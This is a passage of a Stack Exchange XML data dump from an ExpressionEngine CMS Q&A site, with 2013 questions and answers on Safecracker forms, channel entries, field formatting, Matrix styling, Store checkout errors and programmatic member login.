pair? Seems convoluted? &lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-01-07T11:35:23.403" LastActivityDate="2013-01-08T05:44:33.387" Title="Safecracker Registration: how to edit Channel entry after registration?" Tags="|channel-entries|members|safecracker|safecracker-registration|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2389" PostTypeId="2" ParentId="2377" CreationDate="2013-01-07T11:16:29.330" Score="0" Body="&lt;p&gt;The jquery library must be loaded BEFORE the safecracker form (in the head of your page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#include-jquery&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#include-jquery&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-01-07T11:16:29.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2390" PostTypeId="1" AcceptedAnswerId="2392" CreationDate="2013-01-07T12:20:58.420" Score="5" ViewCount="317" Body="&lt;p&gt;I have a quotes channel, and right now I want to use a specific quote on a specific page of my webiste, so i'm using the code below with a conditional based on the url title.  Let's say down the road someone decides they want to change that quote and so they delete entry_id 21, and create a new entry.  Am I correct in assuming that a new entry would be given a new entry_id and would no longer display on that particular page?  If that assumption is correct, should I stay away from the type of code below?  maybe use url_title instead?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;quotes&quot; limit=&quot;1&quot; disable=&quot;categories|member_data|pagination&quot; entry_id=&quot;21&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-07T14:47:01.247" Title="is using entry_id a bad idea?" Tags="|url-title|entryid|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2391" PostTypeId="2" ParentId="2390" CreationDate="2013-01-07T12:42:10.693" Score="5" Body="&lt;p&gt;Using a specific entry_id begs for a problem later - I wouldn't. &#xA;What you can do is create a custom status for that channel and then let the entries tag target that status specifically. Limiting the results to 1 also will help focus on the individual entry; if you add a new entry with the same status, it will take only that last, most-recent version, no matter what the id.&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2013-01-07T12:42:10.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2392" PostTypeId="2" ParentId="2390" CreationDate="2013-01-07T12:51:01.177" Score="5" Body="&lt;p&gt;I would do this using a 'featured quote' relationship field (either native or Playa depending on whether you want the client to be able to select more than one quote per entry).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-01-07T12:51:01.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2393" PostTypeId="1" AcceptedAnswerId="2409" CreationDate="2013-01-07T13:52:39.740" Score="3" ViewCount="195" Body="&lt;p&gt;I'm using Matrix fieldtypes in a front end Safecracker form and to say it looks terrible would be an understatement... I'm wondering whether there is a definitive guide to styling matrix elements in safecracker / frontend forms?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any tips?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2013-01-07T21:31:51.830" Title="Is there a definitive way to style a Matrix field in a Safecracker form?" Tags="|safecracker|matrix|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2394" PostTypeId="1" AcceptedAnswerId="2395" CreationDate="2013-01-07T14:25:50.450" Score="2" ViewCount="125" Body="&lt;p&gt;It looks like the «xhtml»-field-formating in EE 2.5.5 has problems with figure and figcaption. If I write…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&#xA;&#xA;&amp;lt;figure class=&quot;quote&quot;&amp;gt;&amp;lt;blockquote&amp;gt;bla bla bla&amp;lt;/blockquote&amp;gt;&amp;lt;figcaption&amp;gt;Willhelm Tell&amp;lt;/figcaption&amp;gt;&amp;lt;/figure&amp;gt;&#xA;&#xA;Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… into a custom field with xhtml-field-formatting, the following will be rendered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&amp;lt;/p&amp;gt;&amp;lt;figure class=&quot;quote&quot;&amp;gt;&amp;lt;blockquote&amp;gt;&amp;lt;p&amp;gt;bla bla bla&amp;lt;/p&amp;gt;&#xA;&amp;lt;/blockquote&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;figcaption&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Willhelm Tell&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/figcaption&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/figure&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which obviously is everything else than «optimal» ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I tell EE to ignore figcaption and figure in «xhtml»-field-formating?&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="55" LastEditDate="2013-01-08T13:57:19.383" LastActivityDate="2013-01-08T13:57:19.383" Title="Add HTML5 tags to XHTML field formating" Tags="|custom-fields|formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2395" PostTypeId="2" ParentId="2394" CreationDate="2013-01-07T14:41:47.207" Score="3" Body="&lt;p&gt;I found out that this is actually inside CodeIgniter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add new HTML5 tags like &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;figcaption&amp;gt;&lt;/code&gt; to the list of « do not wrap with &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags», just add them to the array located ~ line 30 of &lt;strong&gt;/system/codeigniter/system/libraries/Typography.php&lt;/strong&gt; (the arrays &lt;code&gt;$block_elements&lt;/code&gt; and/or &lt;code&gt;$skip_elements&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also added an &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19112&quot; rel=&quot;nofollow&quot;&gt;EE Bug Report for this&lt;/a&gt;. The new tags should hopefully be included into future EE releases.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="55" LastEditDate="2013-01-08T13:56:57.620" LastActivityDate="2013-01-08T13:56:57.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2396" PostTypeId="2" ParentId="2390" CreationDate="2013-01-07T14:47:01.247" Score="4" Body="&lt;p&gt;Entry ID's are not re-used, so you are right - if someone deletes that entry and publishes another the code will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL_titles are re-created, so if the original entry is deleted and a new one is published with exactly the same title (and hence, url_title), the code will still work. So url_title is safer, but still not awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A custom status would work as Holland suggests - I've found that I dislike using custom statuses because once you go outside of the standard ones you have to remember to explicitly specify them everywhere as the channel:entries tag assumes the &quot;Open&quot; status only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would consider the relationship-based approach mentioned earlier as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a additional thought -  if you create a Select Dropdown field you are given the option to populate the field from the contents of another Channel/field in the installation. You could use this feature to grab the quotes from your quotes channel and drop them into the channel with your main pages content. Just keep in mind with this approach your Quotes would not be &quot;dry&quot; - they would end up being stored in 2 different channels. An interesting idea (and using a feature of EE that I've yet to), but probably not ideal.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-01-07T14:47:01.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2397" PostTypeId="2" ParentId="2378" CreationDate="2013-01-07T14:57:17.317" Score="6" Body="&lt;p&gt;If when you say &quot;performance&quot; you mean &lt;em&gt;system&lt;/em&gt; performance the      n it would probably be moot - as no matter what combination of channels and fields you put into EE at the EE database level you are just extending the same tables. In other words one EE channel does not equal one EE/MySQL table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But by performance you could also mean &lt;em&gt;Content Manager&lt;/em&gt; performance. If splitting it up makes the task of entering/managing the different content types more efficient then I'd worry about that more than system performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there is &lt;em&gt;developer&lt;/em&gt; performance. If you have some field overlap across channels for the basics like address etc then one field group might save some setup time but cost you implementation time as you sort out the different validation and display requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all I still prefer to split up different content types into their own channels and fields - it's how EE really &quot;wants to work&quot; and I'd rather play to the expectations of the CMS than work slightly at odds with them (in the form of one big field group etc).&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-01-07T14:57:17.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2398" PostTypeId="2" ParentId="2035" CreationDate="2013-01-07T15:38:34.840" Score="3" Body="&lt;p&gt;I have come to a solution. There was never anything wrong with the code. I have PageSpeed installed as an extension on Chrome. Somehow this extension was causing the site to load twice or three times, which sent several emails.&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2013-01-07T15:38:34.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2400" PostTypeId="2" ParentId="2299" CreationDate="2013-01-07T16:26:55.917" Score="4" Body="&lt;p&gt;This is now fixed. There was an old URL floating around which I hadn't found, but there were no errors being thrown anywhere which is what was getting me as I was unable to narrow the scope down properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everyone for their help, and in particular @AndrewWeaver for his time and efforts. Top notch support.&lt;/p&gt;&#xA;" OwnerUserId="695" LastActivityDate="2013-01-07T16:26:55.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2401" PostTypeId="2" ParentId="2393" CreationDate="2013-01-07T16:50:48.753" Score="1" Body="&lt;p&gt;Jim,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have a screenshot? The front-end matrix forms should look nice, similar to the back-end, in your Safecracker form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, seeing the template code and version numbers would be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;br /&gt;Pixel &amp;amp; Tonic&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-07T16:50:48.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2403" PostTypeId="1" AcceptedAnswerId="2405" CreationDate="2013-01-07T16:54:55.377" Score="4" ViewCount="347" Body="&lt;p&gt;There's a button in the top right corner of every EE install that links to the front-end of the site. On one of my installs it's returning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http:///&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of the site's address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I change the setting for this button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the html it's the anchor inside the &quot;msm_sites&quot; list item. &lt;/p&gt;&#xA;" OwnerUserId="37" LastActivityDate="2013-01-07T17:07:36.757" Title="Control Panel (CP) Link Button is not working" Tags="|control-panel|config|config-overrides|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2404" PostTypeId="2" ParentId="2388" CreationDate="2013-01-07T16:57:22.903" Score="1" Body="&lt;p&gt;In fact I think that the e-mail address field is required, but you can hide it in a hidden field.&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2013-01-07T16:57:22.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2405" PostTypeId="2" ParentId="2403" CreationDate="2013-01-07T17:07:36.757" Score="2" Body="&lt;p&gt;That link comes from &lt;strong&gt;Admin &amp;rarr; General Configuration&lt;/strong&gt; - the setting named &lt;strong&gt;URL to the root directory of your site&lt;/strong&gt;. I'm willing to bet you have &quot;/&quot; as the value there.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-07T17:07:36.757" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2406" PostTypeId="2" ParentId="2302" CreationDate="2013-01-07T19:03:51.883" Score="0" Body="&lt;p&gt;I suggest taking a look at the &lt;a href=&quot;http://devot-ee.com/add-ons/better-pages&quot; rel=&quot;nofollow&quot;&gt;Better Pages add-on&lt;/a&gt;. It allows you to choose between different page &quot;types&quot; or &quot;layouts&quot;, and will hide/show different fields based on which layout is currently selected for that particular page/entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you could simply add instructions for your client to the Matrix field: &quot;(only applies to the XX page)&quot;. That solution is quick, easy, and free.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-07T19:03:51.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2407" PostTypeId="2" ParentId="2302" CreationDate="2013-01-07T19:13:56.187" Score="2" Body="&lt;p&gt;To me it sounds like you might be defining your content too broadly (on a 'page' level instead of on a more atomic 'content' level). However, we still don't know enough to say whether this is the case, and you may just prefer to keep with the page paradigm anyway, so here are some options depending on your use case:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of matrix rows, use entries in a separate channel and then&#xA;use template logic to pull in those entries on the appropriate URL.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As above but integrated with &lt;a href=&quot;http://devot-ee.com/add-ons/shortcode&quot; rel=&quot;nofollow&quot;&gt;Shortcode&lt;/a&gt; add-on so that the author can decide&#xA;where the extra entries appear instead of hardcoding it in template.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/content-elements&quot; rel=&quot;nofollow&quot;&gt;Content Elements&lt;/a&gt; add-on. This add-on looks&#xA;impressive but scares me a lot... (I think you're better off breaking&#xA;up your content into small tightly defined chunks instead).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write a quick and dirty extension using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/javascript/index.html&quot; rel=&quot;nofollow&quot;&gt;cp_js_end hook&lt;/a&gt; -&#xA;This allows you to inject your own javascript into the control panel,&#xA;so you could probably write something simple that hides the Matrix on&#xA;all but the right edit page. Could get a bit dangerous for future maintenance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, since the &lt;a href=&quot;http://dukt.net/addons/entry-layout&quot; rel=&quot;nofollow&quot;&gt;Entry Layout add-on&lt;/a&gt; seems to do exactly what you want anyway, it may be worth enquiring as to whether Matrix &lt;em&gt;is&lt;/em&gt; in fact supported - many add-on developers are over cautious about claiming compatibility if it hasn't been tested... or it could be a simple oversight, or it could also be the case that Devot:ee added that compatibility feature after this add-on was originally uploaded.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-01-07T19:13:56.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2408" PostTypeId="2" ParentId="2366" CreationDate="2013-01-07T20:14:57.297" Score="1" Body="&lt;p&gt;I've set up rentals before of digital goods by writing a simple extension that set the 'Purchased Product' entry to have a expiration date of one week (or any time length really) from the date of purchase. You could do the same for a physical product. I'd share the code with you for this, but unfortunately I am unable to due to licensing restrictions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing you may be dealing with a quantity limitation when renting physical products. Similar to the above suggestion you could have a entry for each instance of a rentable product and change the entry date (via a hook) to a future date each time it's purchased. Possibly better yet you could change the status of the purchased product to 'rented' and once the product is returned you could manually revert it back to 'open'. I don't have any code to support this example - but it's definitely possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2013-01-07T20:14:57.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2409" PostTypeId="2" ParentId="2393" CreationDate="2013-01-07T21:18:35.827" Score="2" Body="&lt;p&gt;Any front-end issues with showing interactive custom fields (aka Playa, Matrix, etc.) should be due to either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Conflicting JavaScript&lt;/li&gt;&#xA;&lt;li&gt;Conflicting CSS (classes/IDs)&lt;/li&gt;&#xA;&lt;li&gt;Missing or corrupt files in the Themes/Third Party folder for the particular add-on&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've used all P&amp;amp;T add-ons as part of a Safecracker form (buffalo.com, getrightmusic.com, iacp.com, etc.) and as Lisa says it should look pretty much the same as the back-end counterpart. &lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-07T21:18:35.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2410" PostTypeId="2" ParentId="2393" CreationDate="2013-01-07T21:31:51.830" Score="2" Body="&lt;p&gt;I generally just add {field:my_field_name} and the usual P&amp;amp;T goodness you get in the CP comes to the fore.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-07T21:31:51.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2411" PostTypeId="2" ParentId="2371" CreationDate="2013-01-07T23:35:08.427" Score="1" Body="&lt;p&gt;This answer is correct if you have an open_basedir restriction on your server setup and you can't set the template_group as the default one.&#xA;But there is another solution that may work for you and that is in my next answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've now done loads of tests and have come to the conclusion it's not possible to leave out the template_group from the url unless it is using the default template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each template_group has the following templates:&#xA;index&#xA;_home&#xA;_category&#xA;_single-entry&#xA;404&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For info the simplified index template code I'm using is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;category&quot; AND segment_2 !=&quot;&quot;}{embed=&quot;subsite/_category&quot;}&#xA;{if:elseif segment_1 !=&quot;&quot;}{embed=&quot;subsite/_single-entry&quot;}&#xA;{if:else}{embed=&quot;subsite/_home&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The .htaccess cose is bog standard:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#remove trailing slash&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} ^(.+)/$&#xA;RewriteRule ^(.+)/$  /$1 [R=301,L]&#xA;# remove index.php&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC] &#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As soon as you add a segment to the url it looks for a matching template in the default template group.&#xA;So if you set the template group and template in the subsite index.php like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['template_group'] = 'subsite';&#xA;$assign_to_config['template'] = 'index';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then visit subsite.org&#xA;It will load the index template from the subsite template group, but as soon as you add a segment it looks in the default template group for a template name matching the segment and then loads the main sites template, if there is no template name matching the segment it will load the default template group index template (whilst still displaying the subsite url in the address bar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding a template to the default template group (subsite-index) and then changed the index.php to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['template_group'] = 'mainsite';&#xA;$assign_to_config['template'] = 'subsite-index';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, it loads the subsite-index template when the url has no segments but as soon as you add one it loads the mainsites templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct domain name is always showing in the browser address bar and plain html files can be called/viewed from either domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Studying the &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow&quot;&gt;James Smith URL schematic&lt;/a&gt; closer it does seem to confirm my findings. There is no global variable for default_template_group and the database entry in 'exp_template_groups' has a field 'is_site_default' y or n. Then in numerous system folder files a check is done to establish the template_group, an example from core.template.php is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// We we are not enforcing strict URLs, so Let's fetch the the name of the default template group&#xA;$result = $DB-&amp;gt;query(&quot;SELECT group_name, group_id FROM exp_template_groups WHERE a is_site_default = 'y' AND site_id = '&quot;.$DB-&amp;gt;escape_str($PREFS-&amp;gt;ini('site_id')).&quot;'&quot;);&#xA;// No result?  Bail out...&#xA;// There's really nothing else to do here. We don't have a valid template group in the URL&#xA;// and the admin doesn't have a template group defined as the site default.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="483" LastEditorUserId="483" LastEditDate="2013-01-09T22:39:52.340" LastActivityDate="2013-01-09T22:39:52.340" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2412" PostTypeId="1" AcceptedAnswerId="2421" CreationDate="2013-01-07T23:38:12.730" Score="2" ViewCount="172" Body="&lt;p&gt;I've just doing some final tests before go live and when I complete at the checkout I receive the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered    &#xA;Severity: Notice    &#xA;Message: Undefined property: EE::$template    &#xA;Filename: libraries/store_emails.php    &#xA;Line Number: 68    &#xA;Fatal error: Call to a member function parse_variables() on a non-object in ~/expressionengine/third_party/store/libraries/store_emails.php on line 68&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The order completes - as far as to say it's in the CP orders page, but clearly the email function is failing and preventing usual redirect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other emails (HTML / Plain Text) work fine, the email debug passes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've replaced the default email template with simply {order_id} and again with just 'test' to rule out any conditions - and I still get the same error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE - &lt;strong&gt;2.5.5&lt;/strong&gt; / Store -  &lt;strong&gt;1.6.2&lt;/strong&gt; / Payment Gateway - &lt;strong&gt;None&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2013-01-11T16:56:13.123" Title="Expresso:Store - Undefined Property on checkout" Tags="|expresso-store|email|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2413" PostTypeId="1" AcceptedAnswerId="2417" CreationDate="2013-01-08T02:17:19.663" Score="3" ViewCount="853" Body="&lt;p&gt;Can someone explain to me why I am not capable of forcing a new ExpressionEngine session to be generated for a specific user? I've been following this link: &lt;a href=&quot;https://stackoverflow.com/questions/13073134/what-is-the-best-way-to-log-a-user-in-programatically-in-expressionengine&quot;&gt;https://stackoverflow.com/questions/13073134/what-is-the-best-way-to-log-a-user-in-programatically-in-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is to temporarily create an EE session, and then to create a channel entry for that logged in user. I can then destroy the session. However, my PHP script seems to fall down when it sees $this-&gt;EE. Is there something in particular I need to do to initiate the EE variable to begin with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my code below. Do I need to place this code in a template or something else?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the member's id (the member must have permissions to post entries)&#xA;$log_in_id = 23; // conor.higgins@ul.ie - member id //&#xA;&#xA;// Create session&#xA;echo 'before new session | ';&#xA;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;create_new_session($log_in_id);&#xA;//$this-&amp;gt;EE-&amp;gt;session-&amp;gt;create_new_session(23, TRUE);&#xA;echo 'after new session | ';&#xA;print_r($this-&amp;gt;EE-&amp;gt;session);&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('api');&#xA;$this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;&#xA;$data = array(&#xA;    'channel_name'  =&amp;gt; 'members', //[Required]&#xA;    'title'         =&amp;gt; $tmp_firstname.' '.$tmp_lastname, //[Required]&#xA;    'author_id'     =&amp;gt; $memberID,&#xA;    //'entry_id'        =&amp;gt; 0,&#xA;    'field_id_37'   =&amp;gt; $memberID,&#xA;    'field_id_38'   =&amp;gt; $tmp_firstname,&#xA;    'field_id_39'   =&amp;gt; $tmp_lastname,&#xA;    'field_id_70'   =&amp;gt; $tmp_company,&#xA;    'field_id_71'   =&amp;gt; $tmp_ref,&#xA;    'field_id_73'   =&amp;gt; $tmp_qty,&#xA;    'field_id_74'   =&amp;gt; $tmp_remainder,&#xA;    'field_id_72'   =&amp;gt; $tmp_owner&#xA;);&#xA;print_r($data);&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings(1, $data);&#xA;&#xA;if ($this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;submit_new_entry(1, $data) === FALSE){ echo '[ERROR]'; }&#xA;else{ echo 'SUCCESS';  $this-&amp;gt;EE-&amp;gt;session-&amp;gt;destroy(); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any info would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="695" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-01-13T01:13:15.807" Title="Can't programmatically log member in" Tags="|channel-entries|php|login|sessions|authenticate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2414" PostTypeId="1" AcceptedAnswerId="2415" CreationDate="2013-01-08T02:25:34.757" Score="2" ViewCount="81" Body="&lt;p&gt;I have a specific entry I want to display when a user navigates to that particular section of the website.  To clarify, I have an &quot;about us&quot; section of a church website where, when the user clicks on &quot;about us&quot; it takes them to the a url &quot;pastors-welcome&quot;.  From there there are listings in the sidebar for other entries in that channel.  I am wondering if the way I have coded this is the most efficient method?  I'm new to EE and as with anything new, you just don't know what you don't know.  looking to you guys n' gals for the wisdom that comes from experience.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;}&#xA;        {exp:channel:entries channel=&quot;content&quot; limit=&quot;1&quot;     disable=&quot;categories|member_data|pagination&quot; url_title_path=&quot;pastors-welcome&quot;}&#xA;&#xA;&#xA;            &amp;lt;h1 class=&quot;section-header&quot;&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;img class=&quot;body-image-left&quot; src=&quot;{image:small}&quot; alt=&quot;{image_description}&quot; title=&quot;{image_description}&quot;/&amp;gt;{page_content}&amp;lt;/p&amp;gt;&#xA;&#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;&#xA;    {if segment_2 != &quot;&quot;}&#xA;&#xA;        {exp:channel:entries channel=&quot;content&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;        &amp;lt;h1 class=&quot;section-header&quot;&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&#xA;        {if image != &quot;&quot;}&amp;lt;img class=&quot;body-image-left&quot; src=&quot;{image:small}&quot; alt=&quot;{image_description}&quot; title=&quot;{image_description}&quot;/&amp;gt;{/if}&#xA;&#xA;        {page_content}&#xA;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastEditorUserId="28" LastEditDate="2013-01-08T02:35:24.100" LastActivityDate="2013-01-08T03:43:33.723" Title="Is this the most efficient way to code this?" Tags="|channel-entries|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
